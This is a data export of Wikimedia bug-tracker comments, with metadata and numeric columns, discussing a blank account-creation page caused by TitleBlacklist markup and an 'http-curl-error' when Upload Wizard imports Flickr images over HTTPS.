gerrit change 42982 does 1-3.  4 is dubious, since partly successful jQuery-fu may be worse than failing.",,,1355384467,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,1.0,1.0,0.0,0.0,1.5,6.5,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,0.5,0.0,5.5,9.5,1.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,6.0,2.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,15.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,7.0,2.0,9.5,2.0,1.0,9.0,0.0,0.0,0.5,0.0,4.5,0.0,2.0,0.0,2.0,9.5,6.0,0.0,0.0,0.0,2.0,0.0,1.5,1.5,0.0,2.5,1.0,0.0,2.0,3.635,0.69,"Thanks so much for tracking this down!  The JavaScript on enwiki that enhances account creation munges the first table it finds in the content div. Extension:Title Blacklist doesn't use  a table for its errors so our testing of this worked fine.  But on enwiki someone tweaked MediaWiki:Titleblacklist-forbidden-new-account message to use an {{fmbox}} which puts it in a table.  So the first table is not the login form, result: JS errors and garbled HTML.

Things to do:
1.  Avoid this specific JS error that halts the munging leaving the form invisible.
2.  Be smarter about finding the right table to modify.
3.  Don't hide so much of the page during munging so if JS fails the user sees something.
4.  Even if errors munging, always show the hidden part.

gerrit change 42982 does 1-3.  4 is dubious, since partly successful jQuery-fu may be worse than failing."
199287,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:

Yes, when I try it with JS off (which gives you the old form), the TitleBlacklist prevents creation. I get the same blank error in the new version when trying any other name prevented by MediaWiki:Titleblacklist. 

We were aware that clientside validation in its current form doesn't play well with Extension:AntiSpoof and the TitleBlacklist, and might in a few cases incorrectly confirm as good a name which the server rejects. However, we need to make sure the server-generated error is correctly displayed to users, instead of this blank error. 

Thanks again for the help MZ and Platonides.",,,1355347028,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,1.5,0.0,0.0,1.0,1.0,6.5,0.5,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.5,0.0,7.5,8.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,5.5,0.0,1.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,10.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.0,7.0,1.5,9.5,1.5,2.5,9.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,4.0,8.0,5.5,0.0,0.0,0.0,4.0,0.0,2.5,1.5,0.0,0.5,0.0,0.0,0.0,4.111111111111111,0.7857142857142857,"**swalling** wrote:

Yes, when I try it with JS off (which gives you the old form), the TitleBlacklist prevents creation. I get the same blank error in the new version when trying any other name prevented by MediaWiki:Titleblacklist. 

We were aware that clientside validation in its current form doesn't play well with Extension:AntiSpoof and the TitleBlacklist, and might in a few cases incorrectly confirm as good a name which the server rejects. However, we need to make sure the server-generated error is correctly displayed to users, instead of this blank error. 

Thanks again for the help MZ and Platonides."
199282,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","I suspect the ""Joining Wikipedia is free"" has been blocked by TitleBlacklist.",,,1355346516,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,"I suspect the ""Joining Wikipedia is free"" has been blocked by TitleBlacklist."
199276,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:

Was able to reproduce with the same username (""Joining Wikipedia is free""), but using the same browser I was able to create User:WMFTest123456. Screenshot attached with console output.",,,1355346403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,16.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,13.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.933333333333333,0.7555555555555555,"**swalling** wrote:

Was able to reproduce with the same username (""Joining Wikipedia is free""), but using the same browser I was able to create User:WMFTest123456. Screenshot attached with console output."
199272,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:

Screenshot in Firefox 16

**Attached**: {F10068}",,,1355346323,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.909090909090909,0.5909090909090909,"**swalling** wrote:

Screenshot in Firefox 16

**Attached**: {F10068}"
199269,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","**swalling** wrote:

@MZMcBride

Thanks for reporting. I'm going to try and reproduce it. In the meantime, just to confirm, you have JavaScript and cookies enabled in this browser? If you see this again, it would be a big help to check your browser console and report any errors you see.",,,1355345873,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,False,,,-37,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,9.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,11.0,11.0,3.0,2.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.6923076923076925,0.7384615384615385,"**swalling** wrote:
SCREEN_NAME

Thanks for reporting. I'm going to try and reproduce it. In the meantime, just to confirm, you have JavaScript and cookies enabled in this browser? If you see this again, it would be a big help to check your browser console and report any errors you see."
199266,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Created attachment 11492
After login submission

**Attached**: {F10066}",,,1355291393,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.8235294117647058,"Created attachment 11492
After login submission

**Attached**: {F10066}"
199263,"Blank page with only ""Create an account"" on post-login submission due to TitleBlacklist","Created attachment 11491
Before login submission

**Attached**: {F10065}",,,1355291339,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iaiws5jtct672n6jb3xu,task_subcomment,,True,c2,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.8235294117647058,"Created attachment 11491
Before login submission

**Attached**: {F10065}"
44468,"""http-curl-error"" when uploading from Flickr from https","**Author:** `sumanah`

**Description:**
At https://test.wikipedia.org/wiki/Special:UploadWizard and https://test2.wikipedia.org/wiki/Special:UploadWizard I tried to add images from Flickr using the ""Add images from Flickr"" button.

I tried the following URLs to photos:

https://secure.flickr.com/photos/library_of_congress/8211550552/

http://www.flickr.com/photos/quimgil/8220094378/in/photostream

https://secure.flickr.com/photos/quimgil/8220094378/in/photostream

In all cases, at the next step (Uploading...), the file seemed to fail to download, but the title got captured, e.g.:

  Parliament of Catalonia - Elections.jpg
  Unknown error: ""http-curl-error"".

Kaldari thinks it sounds like a problem with the proxy.

--------------------------
**Version**: master
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=42441",High,80.0,1353978480,1381880221.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_description,resolved,True,c2,1,False,False,True,-40,True,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,6.5,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,16.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,6.5,7.0,0.0,2.5,0.0,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,3.351768968456948,0.605924978687127,"**Author:** CODE

**Description:**
At URL and URL I tried to add images from Flickr using the ""Add images from Flickr"" button.

I tried the following URLs to photos:

URL

URL

URL

In all cases, at the next step (Uploading...), the file seemed to fail to download, but the title got captured, e.g.:

  Parliament of Catalonia - Elections.jpg
  Unknown error: ""http-curl-error"".

Kaldari thinks it sounds like a problem with the proxy.

--------------------------
**Version**: master
**Severity**: major
**See Also**:
URL"
195098,"""http-curl-error"" when uploading from Flickr from https","I was also able to import multiple files to test2 using https://secure.flickr.com source URLs as long as HTTPS Everywere is not running. I'm going to reopen the bug more specifically about that issue and close this one.

The SSL root certificates currently used in the cluster are fine with Flickr's certificate.",,,1381880221,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,12.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,4.228070175438597,0.8771929824561403,"I was also able to import multiple files to test2 using URL source URLs as long as HTTPS Everywere is not running. I'm going to reopen the bug more specifically about that issue and close this one.

The SSL root certificates currently used in the cluster are fine with Flickr's certificate."
195092,"""http-curl-error"" when uploading from Flickr from https","I was able to import https://secure.flickr.com/photos/fabola/9743350532/ as https://test.wikipedia.org/wiki/File:Fabola-9743350532.jpg with no issues using Chrome 30.0.1599.69 on OS X. I did however need to switch to a profile that does not have the HTTPS Everywhere extension installed.

With HTTPS Everywhere installed/enabled I get an error in the local browser when an XHR request is made for https://api.flickr.com/services/rest/?&nojsoncallback=1&method=flickr.photos.licenses.getInfo&api_key=e9d8174a79c782745289969a45d350e8&format=json. This error seems to stop the entire Upload Wizard process.",,,1381875011,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,14.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,9.0,3.0,26.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,14.0,10.0,0.0,0.0,0.0,4.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,4.185714285714286,0.7857142857142857,"I was able to import URL as URL with no issues using Chrome 30.0.1599.69 on OS X. I did however need to switch to a profile that does not have the HTTPS Everywhere extension installed.

With HTTPS Everywhere installed/enabled I get an error in the local browser when an XHR request is made for URL This error seems to stop the entire Upload Wizard process."
195085,"""http-curl-error"" when uploading from Flickr from https",*** Bug 54468 has been marked as a duplicate of this bug. ***,,,1381426891,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54468 has been marked as a duplicate of this bug. ***
195080,"""http-curl-error"" when uploading from Flickr from https","So apparently my file did get uploaded: https://commons.wikimedia.org/wiki/File:Stormy_sky,_Danarau_Marina,_Fiji.jpg. Commons has both meta data and image content. This upload was done with the toolslab.org tool and not upload wizard however.

I tried to follow Sumana's original issue instructions and can't even get as far as she did. The initial javascript ajax call to https://api.flickr.com/services/rest/ seems to timeout in my browser. If I manually visit the api.flickr url it redirects to secure.flickr and returns a seemingly valid json blob.",,,1379461890,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,1.0,2.0,8.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,5.0,0.0,12.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,12.0,1.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,9.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.290697674418604,0.7906976744186046,"So apparently my file did get uploaded: URL Commons has both meta data and image content. This upload was done with the toolslab.org tool and not upload wizard however.

I tried to follow Sumana's original issue instructions and can't even get as far as she did. The initial javascript ajax call to URL seems to timeout in my browser. If I manually visit the api.flickr url it redirects to secure.flickr and returns a seemingly valid json blob."
195074,"""http-curl-error"" when uploading from Flickr from https","I didn't capture any specific error messages, but this seems to still fail. See https://commons.wikimedia.org/wiki/File:Stormy_sky,_Danarau_Marina,_Fiji for my attempt that did get meta data from flickr but no image.",,,1377636428,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,2,True,,,-1,True,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.90625,"I didn't capture any specific error messages, but this seems to still fail. See URL for my attempt that did get meta data from flickr but no image."
195069,"""http-curl-error"" when uploading from Flickr from https",Note to self: see if this got magically fixed or not. May need some ops love if not.,,,1377210484,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,2,True,,,-1,True,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1904761904761907,0.8571428571428571,Note to self: see if this got magically fixed or not. May need some ops love if not.
195063,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #21)
> I don't think so, the problem is that curl is failing to verify the host.
> Maybe UW uses https flickr links to upload via the Upload Api, thus you are
> not
> on https but still see the error.

Ahem, my bad: I probably pasted an https flickr URL in UW, as I copied it from Firefox.",,,1360247287,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,10.0,13.0,15.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7948717948717948,"(In reply to comment #21)
QUOTE
QUOTE
QUOTE
QUOTE

Ahem, my bad: I probably pasted an https flickr URL in UW, as I copied it from Firefox."
195058,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #20)
> Argh, is this bug 42441 striking again? Is $sslVerifyHost overridden
> somewhere
> else or what?
> Last time I got this error, I wasn't even on https...

I don't think so, the problem is that curl is failing to verify the host.
Maybe UW uses https flickr links to upload via the Upload Api, thus you are not on https but still see the error.

Also we should show better error messages, currently we are showing the error code but we should show the info associated with it.
We might also want to catch errors from bad internet connectivity.I found two more possible errors (see below) with same code, here displaying the info on UW would be more helpful.

{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""couldn't connect to host""}}

{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""Could not resolve host: secure.flickr.com; Host not found""}}


I have made a change for the error message https://gerrit.wikimedia.org/r/#/c/47868/",,,1360246636,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,0.0,2.0,4.5,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.5,0.5,8.0,8.5,0.0,2.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,3.5,4.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,9.0,0.5,1.0,4.5,0.0,0.0,0.0,0.5,7.0,0.0,1.0,0.0,4.5,8.5,5.5,0.0,2.0,0.0,4.5,0.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,4.144444444444444,0.6777777777777778,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE

I don't think so, the problem is that curl is failing to verify the host.
Maybe UW uses https flickr links to upload via the Upload Api, thus you are not on https but still see the error.

Also we should show better error messages, currently we are showing the error code but we should show the info associated with it.
We might also want to catch errors from bad internet connectivity.I found two more possible errors (see below) with same code, here displaying the info on UW would be more helpful.

{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""couldn't connect to host""}}

{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""Could not resolve host: secure.flickr.com; Host not found""}}


I have made a change for the error message URL"
195054,"""http-curl-error"" when uploading from Flickr from https","(In reply to comment #19)
> {""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote
> source"",""0"":""SSL certificate problem, verify that the CA cert is OK.
> Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate
> verify failed""}}

Argh, is this bug 42441 striking again? Is $sslVerifyHost overridden somewhere else or what?
Last time I got this error, I wasn't even on https...",,,1360243957,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-29,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,20.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,4.0,6.0,8.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4,0.78,"(In reply to comment #19)
QUOTE
QUOTE
QUOTE
QUOTE

Argh, is this bug 42441 striking again? Is $sslVerifyHost overridden somewhere else or what?
Last time I got this error, I wasn't even on https..."
195050,"""http-curl-error"" when uploading from Flickr from https","I tried to upload directly by using the Upload Api and got the same error but in more detail.

{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""SSL certificate problem, verify that the CA cert is OK. Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed""}}

Shouldn't this be moved to core?",,,1360235385,,PHID-USER-w6tinhtsh44tn3tgzjtw,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,0.0,3.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,24.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,14.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,8.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.9393939393939394,0.8181818181818182,"I tried to upload directly by using the Upload Api and got the same error but in more detail.

{""error"":{""code"":""http-curl-error"",""info"":""Error fetching file from remote source"",""0"":""SSL certificate problem, verify that the CA cert is OK. Details:\nerror:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed""}}

Shouldn't this be moved to core?"
195044,"""http-curl-error"" when uploading from Flickr from https","Able to reproduce today. Some debugging info I could gather from mw.IframeTransport :


The response of the Api request made by the Iframe is

error: Object-?
0: ""Operation timed out after 25007 milliseconds with 431627 out of 1937071 bytes received""
code: ""http-curl-error""
info: ""Error fetching file from remote source""


